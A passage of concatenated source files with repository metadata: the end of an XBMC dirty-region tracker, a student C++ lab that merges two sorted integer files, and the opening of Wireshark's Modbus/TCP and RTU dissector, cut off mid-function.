int i = m_markedRegions.size() - 1;
while (i >= 0)
{
if (m_markedRegions[i].UpdateAge() >= buffering)
m_markedRegions.erase(m_markedRegions.begin() + i);
i--;
}
}
|
chris-magic/xbmc_dualaudio_pvr
|
xbmc/guilib/DirtyRegionTracker.cpp
|
C++
|
gpl-2.0
| 2,549
|
/* vim:ts=2
*
* CS162, Lab3: File I/O
* Shoshana Abrass
* abrasss@onid.oregonstate.edu
* Jan 25, 2015
*
* Merge two files that each contains sorted integers
* Write the results to a third file
*
* Input files should be read one line at a time.
*
* Design choices:
* Silently supress duplicates
* Silently supress blank lines
* Output numbers are CRLF separated even if input is not
* Warn and continue if bad data is found
* If one or both files are empty that's not an error; silently proceed
* Command-line arguments are positional, not flag-defined
* Decimal numbers with no value after the decimal point are converted to
* integers. For example, "13.0" will be treated as "13".
* This is a design decision and not a bug.
*
* Tested scenarios:
* One or both files does not exist (program exits)
* File number ranges do not overlap, eg, one file is all lower than the other
* One or both files exists but not permitted to read; program exits
* One or both files exist but are empty; no error
* One file is much shorter than the other
* Input Numbers are either space delimited and CRLF delimited; both work
* Bad (non-integer) values exist (strings, decimal numbers); warn and skip
* Duplicate numbers occur in the same file
* Duplicate numbers are found in fileOne and fileTwo
* Swap input files one and two, output should be the same
* Negative numbers
* Very large positive numbers (< INT_MAX)
*
*/
#include <fstream> // File I/O
#include <iostream>
#include <string>
#include <cstring> // Because strlen
#include <climits> // INT_MAX, INT_MIN
#define DEBUG false
#define INPUT_FILE_ONE "infile.one" // must be a file of sorted integers
#define INPUT_FILE_TWO "infile.two" // must be a file of sorted integers
#define OUTPUT_FILE "outfile"
void SortTwoIntoOne(std::ifstream &inputStreamOne,
std::ifstream &inputStreamTwo, std::ofstream &outputStream);
void ReadOneInt(std::ifstream &Input, int ** Value, std::string Filename);
int validateIntegerInput(const char* inputString, int MinValue, int MaxValue);
/****************************************************************************
* main()
*
* Check the command-line arguments (file names)
*
* Error and exit if the files are bad, otherwise run SortTwoIntoOne.
*
***************************************************************************/
int main(int argc, char **argv)
{
/* We had command-line argument parsing here, but we got rid of that */
/* See revision history at
* https://github.com/Maker23/osu_classes/blob/6d30bb6dcb84087339e7bc7dbc73b0d7163cb523/cs162/FinishedLabs/Lab3/Lab3.cpp
*/
// Declare and initialize input streams.
std::ifstream inputStreamOne(INPUT_FILE_ONE); // implicitly opens the input file
std::ifstream inputStreamTwo(INPUT_FILE_TWO); // ditto
int errorCount=0;
// Test both input streams, make sure they're good
// before we open (and truncate) the output file.
if (! inputStreamOne.good())
{
std::cout << "Error: Could not open file \""<< INPUT_FILE_ONE << "\" for read." <<std::endl;
errorCount++;
}
if (! inputStreamTwo.good())
{
std::cout << "Error: Could not open file \""<< INPUT_FILE_TWO <<"\" for read."<<std::endl;
errorCount++;
}
if (errorCount > 0 )
{
std::cout << "exiting...." << std::endl;
exit(-1);
}
// Declare, initialize and test the output stream.
std::ofstream outputStream(OUTPUT_FILE); // implicitly opens the output file
if (! outputStream.good())
{
std::cout << "Error: Could not open file \""<< OUTPUT_FILE <<"\" for write."<<std::endl;
exit(-1);
}
// All good? Run the useful function!
SortTwoIntoOne(inputStreamOne, inputStreamTwo, outputStream);
// Close the files. Extraneously.
inputStreamOne.close();
inputStreamTwo.close();
outputStream.close();
}
/****************************************************************************
* SortTwoIntoOne (inputStreamOne, inputStreamTwo, outputStream)
*
* Arguments:
* inputStreamOne, inputStreamTwo: std::ifstream
* outputStream: std::ofstream
*
* This function implements the sorting logic required by the assignment.
* One integer at a time is read from the input files, and the results
* are written to the outputStream in sorted order, with no buffering
*
***************************************************************************/
void SortTwoIntoOne(std::ifstream &inputStreamOne, std::ifstream &inputStreamTwo, std::ofstream &outputStream)
{
bool uniq = true; // set to false to allow duplicate integers
int *inputOne = new (int);
int *inputTwo = new (int);
int *prevInputOne = new int (INT_MIN);
int *prevInputTwo = new int (INT_MIN);
ReadOneInt(inputStreamOne, &inputOne, INPUT_FILE_ONE);
ReadOneInt(inputStreamTwo, &inputTwo, INPUT_FILE_TWO);
while ( inputOne && inputTwo )
{
// Good values from both files
if ( *inputOne < *inputTwo)
{
if (DEBUG) std::cout << "Writing inputOne, recycling One"
<< " " << *inputOne << std::endl;
if ( (!uniq)
|| (uniq && (*inputOne != *prevInputOne)))
{
outputStream << *inputOne << std::endl;
*prevInputOne = *inputOne;
}
ReadOneInt(inputStreamOne, &inputOne, INPUT_FILE_ONE);
}
else if (*inputOne > *inputTwo)
{
if (DEBUG) std::cout << "Writing inputTwo, recycling Two"
<< " " << *inputTwo << std::endl;
if ( (!uniq)
|| (uniq && (*inputTwo != *prevInputTwo)))
{
outputStream << *inputTwo << std::endl;
*prevInputTwo = *inputTwo;
}
ReadOneInt(inputStreamTwo, &inputTwo, INPUT_FILE_TWO);
}
else if (*inputOne == *inputTwo)
{
if (DEBUG) std::cout << "Writing inputOne, recycling both"
<< " " << *inputOne << std::endl
<< " " << *inputTwo << std::endl;
if (! uniq)
{
outputStream << *inputOne << std::endl << *inputTwo << std::endl;
}
else if (( *inputOne != *prevInputOne) && (*inputTwo != *prevInputTwo))
{
// uniq is true
outputStream << *inputOne << std::endl;
*prevInputOne = *inputOne;
*prevInputTwo = *inputTwo;
}
ReadOneInt(inputStreamOne, &inputOne, INPUT_FILE_ONE);
ReadOneInt(inputStreamTwo, &inputTwo, INPUT_FILE_TWO);
}
}
// Now one of both files are empty of integers
// Both files are finished; nothing more to do
if ( ! (inputOne || inputTwo) )
{
}
// One file is finished
else if ( ! inputOne )
{
// InputFileOne has no more valid numbers in it, just speed through File Two
while ( inputTwo)
{
outputStream << *inputTwo << std::endl;
ReadOneInt(inputStreamTwo, &inputTwo, INPUT_FILE_TWO);
}
}
else if ( ! inputTwo )
{
// InputFileTwo has no more valid numbers in it, just speed through File One
while ( inputOne)
{
outputStream << *inputOne << std::endl;
ReadOneInt(inputStreamOne, &inputOne, INPUT_FILE_ONE);
}
}
}
/****************************************************************************
* ReadOneInt (Input, Value, Filename)
*
* Arguments:
* Input: is a reference to an input filestream.
* If it isn't good() the function exits.
* Filename is the string name associated with Input,
* used for printing better error messages
*
* This function will perform repeated reads of whitespace-separated text
* from the Input stream until a valid integer, or eof(), is found.
*
* Value is a pointer to a int*. If this function succeeds in reading
* an integer from the Input stream then **Value will be set to that integer.
* Otherwise *Value will be set to NULL. We use an int* because there's no
* "illegal" value for testing an integer, but there is for a pointer.
*
***************************************************************************/
void ReadOneInt(std::ifstream &Input, int ** Value, std::string Filename)
{
if (DEBUG) std::cout << "Entering ReadOneInt" << std::endl;
std::string Line;
int tmpInt;
if ( Input.eof() )
{
if (DEBUG) std::cout << "Setting the pointer to Null to indicate EOF" << std::endl;
*Value = NULL;
return;
}
else if ( Input.good() )
{
do
{
Input >> Line;
tmpInt = validateIntegerInput(Line.c_str(), INT_MIN + 1, INT_MAX);
if (tmpInt == INT_MIN)
{
// Skip silently unless we're debugging;
// a warning will be printed by the validate function
if (DEBUG)
{
std::cout << "Warning: bad input found in file " << Filename << std::endl;
std::cout << "getline = \"" << Line << "\"" << std::endl;
std::cout << "validate = \"" << tmpInt << "\"" << std::endl;
}
}
if (DEBUG) std::cout << "tmpInt = " << tmpInt << std::endl;
}
while ( Input.good() && tmpInt == INT_MIN);
if (tmpInt != INT_MIN)
{
**Value = tmpInt;
return;
}
else
{
if (DEBUG) std::cout << "I think I'm setting the pointr to Null" << std::endl;
*Value = NULL;
return;
}
}
else
{
std::cout << "ERROR: Can't read input from "<< Filename <<std::endl;
*Value = NULL;
return;
}
if (DEBUG) std::cout << "End of ReadOneInt - we should never get here" << std::endl;
}
#define ZERO 48
#define NINE 57
#define DASH 45
#define DOT 46
#define SPACE 32
/* ***************************************************************************
* validateIntegerInput (InputString, MinValue, MaxValue);
*
* Purpose: Confirm that a string is a valid integer number
* Arguments:
* InputString: char* c-string
* MinValue: the low end of the valid number range
* Maxvalue: the high end of the valid number range
*
* Note that acceptable integers
* * Can begin with a minus sign (negative)
* * Can not have any characters other than [0-9] and "."
* * If "." appears, test the string as a float. It may be a number.00;
* this is accepted as an integer by this function (eg, 43.0, 109.00)
*
* ***************************************************************************/
int validateIntegerInput(
const char* inputString,
int MinValue,
int MaxValue)
{
double inputDouble = 0.0; // The input string, as a double
int length_of_input = 0; // Length of the users's input string
int inputInteger = 0; // The input string, as an integer
int MaxTries = 1;
int number_of_tries = 0; // Number of times user has tried to enter data
char buffer[256]; // A buffer for creating the prompt string
bool notANumber = false;
if (DEBUG) std::cout << "_validateIntegerInput function two" << std::endl;
do {
number_of_tries++;
// Confirm that all the character in the input string are legal
// as part of a number
length_of_input = std::strlen(inputString);
if (length_of_input == 0 )
{
if (DEBUG) std::cout << "Whoa nellie! no input??" << std::endl;
return(MinValue-1);
}
for (int i=0; i < length_of_input; i++)
{
// Digits [0-9], negative signs, and decimal points are ok
// We should really strip spaces
if(!( ((inputString[i] >= ZERO) && (inputString[i] <= NINE ))
|| ( i == 0 && inputString[i]==DASH)
|| ( i == 0 && inputString[i]==SPACE)
|| ( i == length_of_input - 1 && inputString[i]==SPACE)
|| ( inputString[i] == DOT )
))
{
// THIS IS NOT A NUMBER
// TODO: Support Octal, binary, and Hex
notANumber = true;
}
}
// Now that we know the string is a number, convert it to a double
// Copy the double into an integer; then test if they are equal
//inputCopy = inputString;
//std::stringstream ss (inputCopy); // stringstream is not allowed
//ss >> inputDouble;
inputDouble = (double)atof(inputString);
inputInteger = inputDouble; // if inputDouble is a floating point value,
// inputInteger will be truncated
// and the will not be equal when tested below
if (DEBUG) std::cout << "inputDouble = " << inputDouble << ", inputInteger = "
<< inputInteger << std::endl;
if ( notANumber )
{
// std::cout << "ERROR: Part of your input was not a number\n";
// TODO 'non-numeric character X found'
}
else if ( inputDouble != static_cast<double>(inputInteger) )
{
// Number is a float with a fractional part
// TODO: this is subject to the accuracy limits of the double,
// for example, 10.0000000000000001 is equal to 10.
// We could instead warn when a decimal point is detected...
std::cout << "ERROR: Number contained a decimal value\n";
}
else if ( (inputInteger < MinValue ) || (inputInteger > MaxValue) )
{
if ( DEBUG ) {std::cout << "Numeric value l.181 = " << inputInteger
<< "num_tries = " << number_of_tries << "\n";}
std::cout << "ERROR: Value " << inputInteger << " is outside permitted range ["
<< MinValue << "-" << MaxValue << "]" << std::endl;
return(MinValue-1);
}
else
{
return(inputInteger);
}
notANumber = false; // reset
}
while ( !number_of_tries || (number_of_tries < MaxTries) );
std::cout << "Warning: \"" << inputString << "\" is not an integer value; skipping..." <<std::endl;
return(MinValue-1); // Hard to return an error code
}
|
Maker23/osu_classes
|
cs162/Finished/Lab3/Lab3.cpp
|
C++
|
gpl-2.0
| 12,949
|
/* packet-mbtcp.c
* Routines for Modbus/TCP and Modbus/UDP dissection
* By Riaan Swart <rswart@cs.sun.ac.za>
* Copyright 2001, Institute for Applied Computer Science
* University of Stellenbosch
*
* See http://www.modbus.org/ for information on Modbus/TCP.
*
* Updated to v1.1b of the Modbus Application Protocol specification
* Michael Mann * Copyright 2011
*
* Updates Oct/Nov 2012 (Chris Bontje, cbontje[*at*]gmail.com)
* - Some re-factoring to include support for serial Modbus RTU encapsulated in TCP messages
* - Minor text/syntax clean-up
* - Include decoding of holding/input response register data
* - Optionally decode holding/input registers as UINT16, UINT32, 32-bit Float IEEE/Modicon
* - Add various register address formatting options as "Raw", "Modicon 5-digit", "Modicon 6-digit"
*
* Updates Aug 2013 (Chris Bontje)
* - Improved dissection support for serial Modbus RTU with detection of query or response messages
*
*****************************************************************************************************
* A brief explanation of the distinction between Modbus/TCP and Modbus RTU over TCP:
*
* Consider a Modbus poll message: Unit 01, Scan Holding Register Address 0 for 30 Registers
*
* The Modbus/TCP message structure will follow the pattern below:
* 00 00 00 00 00 06 01 03 00 00 00 1E
* AA AA BB BB CC CC DD EE FF FF GG GG
*
* A = 16-bit Transaction Identifier (typically increments, or is locked at zero)
* B = 16-bit Protocol Identifier (typically zero)
* C = 16-bit Length of data payload following (and inclusive of) the length byte
* D = 8-bit Unit / Slave ID
* E = 8-bit Modbus Function Code
* F = 16-bit Reference Number / Register Base Address
* G = 16-bit Word Count / Number of Registers to scan
*
* A identical Modbus RTU (or Modbus RTU over TCP) message will overlay partially with the msg above
* and contain 16-bit CRC at the end:
* 00 00 00 00 00 06 01 03 00 00 00 1E -- -- (Modbus/TCP message, repeated from above)
* -- -- -- -- -- -- 01 03 00 00 00 1E C5 C2 (Modbus RTU over TCP message, includes 16-bit CRC footer)
* AA AA BB BB CC CC DD EE FF FF GG GG HH HH
*
* A = Not present in Modbus RTU message
* B = Not present in Modbus RTU message
* C = Not present in Modbus RTU message
* D = 8-bit Unit / Slave ID
* E = 8-bit Modbus Function Code
* F = 16-bit Reference Number / Register Base Address
* G = 16-bit Word Count / Number of Registers to scan
* H = 16-bit CRC
*
*****************************************************************************************************
* Wireshark - Network traffic analyzer
* By Gerald Combs <gerald@wireshark.org>
* Copyright 1998 Gerald Combs
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#include "config.h"
#include <epan/packet.h>
#include <epan/wmem/wmem.h>
#include "packet-tcp.h"
#include "packet-mbtcp.h"
#include "packet-rtacser.h"
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/crc16-tvb.h> /* For CRC verification */
void proto_register_modbus(void);
void proto_reg_handoff_mbtcp(void);
void proto_reg_handoff_mbrtu(void);
/* Initialize the protocol and registered fields */
static int proto_mbtcp = -1;
static int proto_mbrtu = -1;
static int proto_modbus = -1;
static int hf_mbtcp_transid = -1;
static int hf_mbtcp_protid = -1;
static int hf_mbtcp_len = -1;
static int hf_mbtcp_unitid = -1;
static int hf_mbtcp_functioncode = -1;
static int hf_modbus_reference = -1;
static int hf_modbus_padding = -1;
static int hf_modbus_lreference = -1;
static int hf_modbus_reftype = -1;
static int hf_modbus_readref = -1;
static int hf_modbus_writeref = -1;
static int hf_modbus_wordcnt = -1;
static int hf_modbus_readwordcnt = -1;
static int hf_modbus_writewordcnt = -1;
static int hf_modbus_bytecnt = -1;
static int hf_modbus_lbytecnt = -1;
static int hf_modbus_bitcnt = -1;
static int hf_modbus_exceptioncode = -1;
static int hf_modbus_diag_sf = -1;
static int hf_modbus_diag_return_query_data_request = -1;
static int hf_modbus_diag_return_query_data_echo = -1;
static int hf_modbus_diag_restart_communication_option = -1;
static int hf_modbus_diag_return_diag_register = -1;
static int hf_modbus_diag_ascii_input_delimiter = -1;
static int hf_modbus_diag_return_bus_message_count = -1;
static int hf_modbus_diag_return_bus_comm_error_count = -1;
static int hf_modbus_diag_return_bus_exception_error_count = -1;
static int hf_modbus_diag_return_slave_message_count = -1;
static int hf_modbus_diag_return_no_slave_response_count = -1;
static int hf_modbus_diag_return_slave_nak_count = -1;
static int hf_modbus_diag_return_slave_busy_count = -1;
static int hf_modbus_diag_return_bus_char_overrun_count = -1;
static int hf_modbus_status = -1;
static int hf_modbus_event = -1;
static int hf_modbus_event_count = -1;
static int hf_modbus_message_count = -1;
static int hf_modbus_event_recv_comm_err = -1;
static int hf_modbus_event_recv_char_over = -1;
static int hf_modbus_event_recv_lo_mode = -1;
static int hf_modbus_event_recv_broadcast = -1;
static int hf_modbus_event_send_read_ex = -1;
static int hf_modbus_event_send_slave_abort_ex = -1;
static int hf_modbus_event_send_slave_busy_ex = -1;
static int hf_modbus_event_send_slave_nak_ex = -1;
static int hf_modbus_event_send_write_timeout = -1;
static int hf_modbus_event_send_lo_mode = -1;
static int hf_modbus_andmask = -1;
static int hf_modbus_ormask = -1;
static int hf_modbus_data = -1;
static int hf_modbus_mei = -1;
static int hf_modbus_read_device_id = -1;
static int hf_modbus_object_id = -1;
static int hf_modbus_num_objects = -1;
static int hf_modbus_list_object_len = -1;
static int hf_modbus_conformity_level = -1;
static int hf_modbus_more_follows = -1;
static int hf_modbus_next_object_id = -1;
static int hf_modbus_object_str_value = -1;
static int hf_modbus_object_value = -1;
static int hf_modbus_reg_uint16 = -1;
static int hf_modbus_reg_uint32 = -1;
static int hf_modbus_reg_ieee_float = -1;
static int hf_modbus_reg_modicon_float = -1;
static int hf_mbrtu_unitid = -1;
static int hf_mbrtu_crc16 = -1;
/* Initialize the subtree pointers */
static gint ett_mbtcp = -1;
static gint ett_mbrtu = -1;
static gint ett_modbus_hdr = -1;
static gint ett_group_hdr = -1;
static gint ett_events = -1;
static gint ett_events_recv = -1;
static gint ett_events_send = -1;
static gint ett_device_id_objects = -1;
static gint ett_device_id_object_items = -1;
static expert_field ei_mbrtu_crc16_incorrect = EI_INIT;
static expert_field ei_modbus_data_decode = EI_INIT;
static dissector_handle_t modbus_handle;
static dissector_handle_t mbtcp_handle;
static dissector_handle_t mbrtu_handle;
static dissector_table_t modbus_data_dissector_table;
static dissector_table_t modbus_dissector_table;
/* Globals for Modbus/TCP Preferences */
static gboolean mbtcp_desegment = TRUE;
static guint global_mbus_tcp_port = PORT_MBTCP; /* Port 502, by default */
static gint global_mbus_tcp_register_format = MBTCP_PREF_REGISTER_FORMAT_UINT16;
static gint global_mbus_tcp_register_addr_type = MBTCP_PREF_REGISTER_ADDR_RAW;
/* Globals for Modbus RTU over TCP Preferences */
static gboolean mbrtu_desegment = TRUE;
static guint global_mbus_rtu_port = PORT_MBRTU; /* 0, by default */
static gint global_mbus_rtu_register_format = MBTCP_PREF_REGISTER_FORMAT_UINT16;
static gint global_mbus_rtu_register_addr_type = MBTCP_PREF_REGISTER_ADDR_RAW;
static gboolean mbrtu_crc = FALSE;
static int
classify_mbtcp_packet(packet_info *pinfo)
{
/* see if nature of packets can be derived from src/dst ports */
/* if so, return as found */
/* */
/* XXX Update Oct 2012 - It can be difficult to determine if a packet is a query or response; some way to track */
/* the Modbus/TCP transaction ID for each pair of messages would allow for detection based on a new seq. number. */
/* Otherwise, we can stick with this method; a configurable port option has been added to allow for usage of */
/* user ports either than the default of 502. */
if (( pinfo->srcport == global_mbus_tcp_port ) && ( pinfo->destport != global_mbus_tcp_port ))
return RESPONSE_PACKET;
if (( pinfo->srcport != global_mbus_tcp_port ) && ( pinfo->destport == global_mbus_tcp_port ))
return QUERY_PACKET;
/* else, cannot classify */
return CANNOT_CLASSIFY;
}
static int
classify_mbrtu_packet(packet_info *pinfo, tvbuff_t *tvb)
{
/* see if nature of packets can be derived from src/dst ports */
/* if so, return as found */
if (( pinfo->srcport == global_mbus_rtu_port ) && ( pinfo->destport != global_mbus_rtu_port ))
return RESPONSE_PACKET;
if (( pinfo->srcport != global_mbus_rtu_port ) && ( pinfo->destport == global_mbus_rtu_port ))
return QUERY_PACKET;
/* Special case for serial-captured packets that don't have an Ethernet header */
/* Dig into these a little deeper to try to guess the message type */
if (!pinfo->srcport) {
/* If length is 8, this is either a query or very short response */
if (tvb_length(tvb) == 8) {
/* Only possible to get a response message of 8 bytes with Discrete or Coils */
if ((tvb_get_guint8(tvb, 1) == READ_COILS) || (tvb_get_guint8(tvb, 1) == READ_DISCRETE_INPUTS)) {
/* If this is, in fact, a response then the data byte count will be 3 */
/* This will correctly identify all messages except for those that are discrete or coil polls */
/* where the base address range happens to have 0x03 in the upper 16-bit address register */
if (tvb_get_guint8(tvb, 2) == 3) {
return RESPONSE_PACKET;
}
else {
return QUERY_PACKET;
}
}
else {
return QUERY_PACKET;
}
}
else {
return RESPONSE_PACKET;
}
}
/* else, cannot classify */
return CANNOT_CLASSIFY;
}
/* Translate function to string, as given on p6 of
* "Open Modbus/TCP Specification", release 1 by Andy Swales.
*/
static const value_string function_code_vals[] = {
{ READ_COILS, "Read Coils" },
{ READ_DISCRETE_INPUTS, "Read Discrete Inputs" },
{ READ_HOLDING_REGS, "Read Holding Registers" },
{ READ_INPUT_REGS, "Read Input Registers" },
{ WRITE_SINGLE_COIL, "Write Single Coil" },
{ WRITE_SINGLE_REG, "Write Single Register" },
{ READ_EXCEPT_STAT, "Read Exception Status" },
{ DIAGNOSTICS, "Diagnostics" },
{ GET_COMM_EVENT_CTRS, "Get Comm. Event Counters" },
{ GET_COMM_EVENT_LOG, "Get Comm. Event Log" },
{ WRITE_MULT_COILS, "Write Multiple Coils" },
{ WRITE_MULT_REGS, "Write Multiple Registers" },
{ REPORT_SLAVE_ID, "Report Slave ID" },
{ READ_FILE_RECORD, "Read File Record" },
{ WRITE_FILE_RECORD, "Write File Record" },
{ MASK_WRITE_REG, "Mask Write Register" },
{ READ_WRITE_REG, "Read Write Register" },
{ READ_FIFO_QUEUE, "Read FIFO Queue" },
{ ENCAP_INTERFACE_TRANSP, "Encapsulated Interface Transport" },
{ UNITY_SCHNEIDER, "Unity (Schneider)" },
{ 0, NULL }
};
/* Translate exception code to string */
static const value_string exception_code_vals[] = {
{ ILLEGAL_FUNCTION, "Illegal function" },
{ ILLEGAL_ADDRESS, "Illegal data address" },
{ ILLEGAL_VALUE, "Illegal data value" },
{ SLAVE_FAILURE, "Slave device failure" },
{ ACKNOWLEDGE, "Acknowledge" },
{ SLAVE_BUSY, "Slave device busy" },
{ MEMORY_ERR, "Memory parity error" },
{ GATEWAY_UNAVAILABLE, "Gateway path unavailable" },
{ GATEWAY_TRGT_FAIL, "Gateway target device failed to respond" },
{ 0, NULL }
};
/* Translate Modbus Encapsulation Interface (MEI) code to string */
static const value_string encap_interface_code_vals[] = {
{ CANOPEN_REQ_RESP, "CANopen Request/Response " },
{ READ_DEVICE_ID, "Read Device Identification" },
{ 0, NULL }
};
/* Translate Modbus Diagnostic subfunction code to string */
static const value_string diagnostic_code_vals[] = {
{ RETURN_QUERY_DATA, "Return Query Data" },
{ RESTART_COMMUNICATION_OPTION, "Restart Communications Option" },
{ RETURN_DIAGNOSTIC_REGISTER, "Return Diagnostic Register" },
{ CHANGE_ASCII_INPUT_DELIMITER, "Change ASCII Input Delimiter" },
{ FORCE_LISTEN_ONLY_MODE, "Force Listen Only Mode" },
{ CLEAR_COUNTERS_AND_DIAG_REG, "Clear Counters and Diagnostic Register" },
{ RETURN_BUS_MESSAGE_COUNT, "Return Bus Message Count" },
{ RETURN_BUS_COMM_ERROR_COUNT, "Return Bus Communication Error Count" },
{ RETURN_BUS_EXCEPTION_ERROR_COUNT, "Return Bus Exception Error Count" },
{ RETURN_SLAVE_MESSAGE_COUNT, "Return Slave Message Count" },
{ RETURN_SLAVE_NO_RESPONSE_COUNT, "Return Slave No Response Count" },
{ RETURN_SLAVE_NAK_COUNT, "Return Slave NAK Count" },
{ RETURN_SLAVE_BUSY_COUNT, "Return Slave Busy Count" },
{ RETURN_BUS_CHAR_OVERRUN_COUNT, "Return Bus Character Overrun Count" },
{ CLEAR_OVERRUN_COUNTER_AND_FLAG, "Clear Overrun Counter and Flag" },
{ 0, NULL }
};
static const value_string diagnostic_restart_communication_option_vals[] = {
{ 0, "Leave Log" },
{ 0xFF, "Clear Log" },
{ 0, NULL }
};
/* Translate read device code to string */
static const value_string read_device_id_vals[] = {
{ 1, "Basic Device Identification" },
{ 2, "Regular Device Identification" },
{ 3, "Extended Device Identification" },
{ 4, "Specific Identification Object" },
{ 0, NULL }
};
/* Translate read device code to string */
static const value_string object_id_vals[] = {
{ 0, "VendorName" },
{ 1, "ProductCode" },
{ 2, "MajorMinorRevision" },
{ 3, "VendorURL" },
{ 4, "ProductName" },
{ 5, "ModelName" },
{ 6, "UserApplicationName" },
{ 0, NULL }
};
static const value_string conformity_level_vals[] = {
{ 0x01, "Basic Device Identification (stream)" },
{ 0x02, "Regular Device Identification (stream)" },
{ 0x03, "Extended Device Identification (stream)" },
{ 0x81, "Basic Device Identification (stream and individual)" },
{ 0x82, "Regular Device Identification (stream and individual)" },
{ 0x83, "Extended Device Identification (stream and individual)" },
{ 0, NULL }
};
static const enum_val_t mbus_register_format[] = {
{ "UINT16 ", "UINT16 ", MBTCP_PREF_REGISTER_FORMAT_UINT16 },
{ "UINT32 ", "UINT32 ", MBTCP_PREF_REGISTER_FORMAT_UINT32 },
{ "IEEE FLT ", "IEEE FLT ", MBTCP_PREF_REGISTER_FORMAT_IEEE_FLOAT },
{ "MODICON FLT", "MODICON FLT", MBTCP_PREF_REGISTER_FORMAT_MODICON_FLOAT },
{ NULL, NULL, 0 }
};
static const enum_val_t mbus_register_addr_type[] = {
{ "RAW ", "RAW ", MBTCP_PREF_REGISTER_ADDR_RAW },
{ "MODICON 5-DIGIT", "MODICON 5-DIGIT", MBTCP_PREF_REGISTER_ADDR_MOD5 },
{ "MODICON 6-DIGIT", "MODICON 6-DIGIT", MBTCP_PREF_REGISTER_ADDR_MOD6 },
{ NULL, NULL, 0 }
};
/* Code to dissect Modbus/TCP packets */
static int
dissect_mbtcp_pdu(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
/* Set up structures needed to add the protocol subtree and manage it */
proto_item *mi;
proto_tree *mbtcp_tree;
int offset, packet_type;
tvbuff_t *next_tvb;
const char *func_string = "";
const char *pkt_type_str = "";
const char *err_str = "";
guint16 transaction_id, protocol_id, len;
guint8 unit_id, function_code, exception_code, subfunction_code;
void *p_save_proto_data;
modbus_request_info_t *request_info;
/* Make entries in Protocol column on summary display */
col_set_str(pinfo->cinfo, COL_PROTOCOL, "Modbus/TCP");
col_clear(pinfo->cinfo, COL_INFO);
transaction_id = tvb_get_ntohs(tvb, 0);
protocol_id = tvb_get_ntohs(tvb, 2);
len = tvb_get_ntohs(tvb, 4);
unit_id = tvb_get_guint8(tvb, 6);
function_code = tvb_get_guint8(tvb, 7) & 0x7F;
/* Make entries in Info column on summary display */
offset = 0;
/* Find exception - last bit set in function code */
if (tvb_get_guint8(tvb, 7) & 0x80) {
exception_code = tvb_get_guint8(tvb, offset + 8);
}
else {
exception_code = 0;
}
if ((function_code == ENCAP_INTERFACE_TRANSP) && (exception_code == 0)) {
func_string = val_to_str_const(tvb_get_guint8(tvb, offset + 8), encap_interface_code_vals, "Encapsulated Interface Transport");
subfunction_code = 1;
}
else if ((function_code == DIAGNOSTICS) && (exception_code == 0)) {
func_string = val_to_str_const(tvb_get_ntohs(tvb, offset + 8), diagnostic_code_vals, "Diagnostics");
subfunction_code = 1;
}
else {
func_string = val_to_str(function_code, function_code_vals, "Unknown function (%d)");
subfunction_code = 0;
}
/* "Request" or "Response" */
packet_type = classify_mbtcp_packet(pinfo);
switch ( packet_type ) {
case QUERY_PACKET :
pkt_type_str="Query";
break;
case RESPONSE_PACKET :
pkt_type_str="Response";
break;
case CANNOT_CLASSIFY :
err_str="Unable to classify as query or response.";
pkt_type_str="unknown";
break;
default :
break;
}
if ( exception_code != 0 )
err_str="Exception returned ";
if (subfunction_code == 0) {
if (strlen(err_str) > 0) {
col_add_fstr(pinfo->cinfo, COL_INFO,
"%8s: Trans: %5u; Unit: %3u, Func: %3u: %s. %s",
pkt_type_str, transaction_id, unit_id,
function_code, func_string, err_str);
}
else {
col_add_fstr(pinfo->cinfo, COL_INFO,
"%8s: Trans: %5u; Unit: %3u, Func: %3u: %s",
pkt_type_str, transaction_id, unit_id,
function_code, func_string);
}
}
else {
if (strlen(err_str) > 0) {
col_add_fstr(pinfo->cinfo, COL_INFO,
"%8s: Trans: %5u; Unit: %3u, Func: %3u/%3u: %s. %s",
pkt_type_str, transaction_id, unit_id,
function_code, subfunction_code, func_string, err_str);
}
else {
col_add_fstr(pinfo->cinfo, COL_INFO,
"%8s: Trans: %5u; Unit: %3u, Func: %3u/%3u: %s",
pkt_type_str, transaction_id, unit_id,
function_code, subfunction_code, func_string);
}
}
mi = proto_tree_add_protocol_format(tree, proto_mbtcp, tvb, offset,
len+6, "Modbus/TCP");
mbtcp_tree = proto_item_add_subtree(mi, ett_mbtcp);
/* Add items to protocol tree specific to Modbus/TCP */
proto_tree_add_uint(mbtcp_tree, hf_mbtcp_transid, tvb, offset, 2, transaction_id);
proto_tree_add_uint(mbtcp_tree, hf_mbtcp_protid, tvb, offset + 2, 2, protocol_id);
proto_tree_add_uint(mbtcp_tree, hf_mbtcp_len, tvb, offset + 4, 2, len);
proto_tree_add_uint(mbtcp_tree, hf_mbtcp_unitid, tvb, offset + 6, 1, unit_id);
/* dissect the Modbus PDU */
next_tvb = tvb_new_subset_length( tvb, offset+7, len-1);
/* keep existing context */
p_save_proto_data = p_get_proto_data(wmem_file_scope(), pinfo, proto_modbus, 0 );
p_remove_proto_data(wmem_file_scope(), pinfo, proto_modbus, 0);
/* Create enough context for Modbus dissector */
request_info = wmem_new(wmem_packet_scope(), modbus_request_info_t);
request_info->packet_type = (guint8)packet_type;
request_info->register_addr_type = (guint8)global_mbus_tcp_register_addr_type;
request_info->register_format = (guint8)global_mbus_tcp_register_format;
p_add_proto_data(wmem_file_scope(), pinfo, proto_modbus, 0, request_info);
/* Continue with dissection of Modbus data payload following Modbus/TCP frame */
if( tvb_length_remaining(tvb, offset) > 0 )
call_dissector(modbus_handle, next_tvb, pinfo, tree);
p_remove_proto_data(wmem_file_scope(), pinfo, proto_modbus, 0);
p_add_proto_data(wmem_file_scope(), pinfo, proto_modbus, 0, p_save_proto_data);
return tvb_length(tvb);
}
/* Code to dissect Modbus RTU over TCP packets */
static int
dissect_mbrtu_pdu(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
/* Set up structures needed to add the protocol subtree and manage it */
proto_item *mi, *crc_item;
proto_tree *mbrtu_tree;
gint offset, packet_type;
